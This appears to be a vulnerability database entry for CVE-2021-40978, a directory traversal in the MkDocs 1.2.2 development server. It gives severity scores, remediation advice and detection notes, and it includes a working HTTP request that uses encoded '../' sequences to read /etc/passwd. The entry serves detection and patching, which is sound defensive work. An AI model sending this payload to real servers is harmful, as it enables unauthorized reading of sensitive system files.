🔙 목록으로 돌아가기

CVE-2021-40978: MKdocs 1.2.2 - Directory Traversal

TitleMKdocs 1.2.2 - Directory Traversal
Authorpikpikcu
SeverityHigh
ImpactAn attacker can read or modify sensitive files on the server, potentially leading to unauthorized access, data leakage, or system compromise.
RemediationUpgrade MKdocs to version 1.2.3 or later to fix the directory traversal vulnerability.
CVSS Score7.5
EPSS Score0.84812
CVE IDCVE-2021-40978
CWE IDCWE-22
Tags cve2021 cve mkdocs lfi vuln

🔍 Vulnerability Description

The MKdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain sensitive information. Note the vendor has disputed the vulnerability (see references) because the dev server must be used in an unsafe way (namely public) to have this vulnerability exploited.

🌐 HTTP Request

GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40978.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-40978.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A